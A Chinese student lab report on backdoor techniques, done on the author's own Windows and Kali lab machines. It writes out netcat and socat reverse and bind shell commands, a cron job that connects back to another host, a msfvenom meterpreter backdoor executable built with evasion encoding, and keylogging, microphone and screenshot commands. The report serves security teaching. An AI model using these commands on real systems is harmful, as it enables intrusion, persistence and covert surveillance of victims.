一、实验准备

1、在实验前关闭或退出了防火墙、360杀毒软件、电脑卫士等所有的电脑保护软件,避免在实验过程中攻击时被拒绝。

      2、使用Windows获linux shell

(1)在Windows下使用ipconfig查看本机IP,地址为192.168.1.232

Linux使用ifconfig查看IP地址,地址为192.168.137.128.

(2) 使用ncat.exe程序打开监听ncat.exe -l -p 4324

2016424王启元 Exp2 后门原理与实践-LMLPHP

在kali中反弹连接Windows,nc 192.168.1.232 4324 -e /bin/sh,使用-e选项执行shell程序。

Windows成功获得kali的shell。

2016424王启元 Exp2 后门原理与实践-LMLPHP

在Linux打开监听nc -l -p 4324

在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.137.128 4324

kali成功获得Windows的命令提示

2016424王启元 Exp2 后门原理与实践-LMLPHP

4、使用nc传输数据

Windows下监听4324端口,ncat.exe -l 4324

kali反弹连接到Windows的4322端口,nc 192.168.1.232 4324

             连接建立成功,双方可以相互传输数据

2016424王启元 Exp2 后门原理与实践-LMLPHP

实验内容 

参数说明

  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
  • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e 使用的编码器,用于对shellcode变形,为了免杀。
  • -i 编码器的迭代次数。如上即使用该编码器编码5次。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反弹回连的IP
  • LPORT 是回连的端口
  • -f 生成文件的类型
  • > 输出到哪个文件

一、使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

在Windows系统下,监听4324端口

在Kali环境下,用crontab -e指令编辑一条定时任务,选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);

在最后一行添加06 * * * * /bin/netcat 192.168.1.232 4324 -e /bin/sh,意思是在每个小时的第06分钟反向连接Windows主机的4324端口

2016424王启元 Exp2 后门原理与实践-LMLPHP

当时间到了第06分时,win获得linux的shell,可执行相关命令

2016424王启元 Exp2 后门原理与实践-LMLPHP

二、使用socat获取主机操作Shell, 任务计划启动 

socat:
- socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称20164324,之后,新建触发器,选择开始任务时间为:工作站锁定时。

.新建操作,选择启动的程序为socat.exe,参数项填为tcp-listen:4324 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout

在kali终端输入指令socat - tcp:192.168.1.232:4324 (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win10主机的4324端口),此时可发现已经成功获得了一个windows shell

2016424王启元 Exp2 后门原理与实践-LMLPHP

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

生成后门程序,指令为    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=4324 -f exe > 20164324_backdoor.exe

win10上运行ncat命令,等待接收20164324_backdoor.exe 
    ncat.exe -l -p 4324 > 20164324_backdoor.exe
kali上运行ncat命令,传输hyt_backdoor.exe到win10主机(IP:192.168.1.232)上
    nc 192.168.1.232 4324 < 20164324_backdoor.exe

在kali上使用msfconsole 指令进入msf控制台,进行配置后得到如图所示

2016424王启元 Exp2 后门原理与实践-LMLPHP

use exploit/multi/handler     //使用handler模块

set payload windows/meterpreter/reverse_tcp   //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell

set LHOST 192.168.137.128   //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP
set LPORT 4324     //设置本主机的端口
exploit     //运行模块

查看kali,发现获得了win10主机的连接,并且得到了远程控制的shell,可执行相关命令

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容

获取目标主机音频、截屏内容:

   record_mic    //音频
screenshot    //截屏

2016424王启元 Exp2 后门原理与实践-LMLPHP

kali上输入指令keyscan_start ,开始记录windows上任何键盘记录,随意在windows上输入一些字母,之后kali上输入指令keyscan_dump ,就可下载键盘记录

我在一个文档中输入了自己的学号(linux终端有显示)

2016424王启元 Exp2 后门原理与实践-LMLPHP

(由于没有在win10上键入符号  所以这里才没有记录到任何的东西)

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。或者当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,

并会自动安装木马,生成可执行文件,以此在系统留下后门。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件

Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode

(3)Meterpreter有哪些给你映像深刻的功能?

在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。

(4)如何发现自己有系统有没有被安装后门?

打开防火墙,查看有没有异常开放的端口;

安装杀毒软件,实时监控电脑,定时对系统进行检测;

实验心得

本次实验,让我体会到了做黑客的感觉,但是我发现我会是最差劲的一个黑客,收获就是不能随便把自己的电脑,手机一类的IP地址泄露出去,否则就会成为别人的攻击对象,这是非常不安全的行为。

05-29 01:12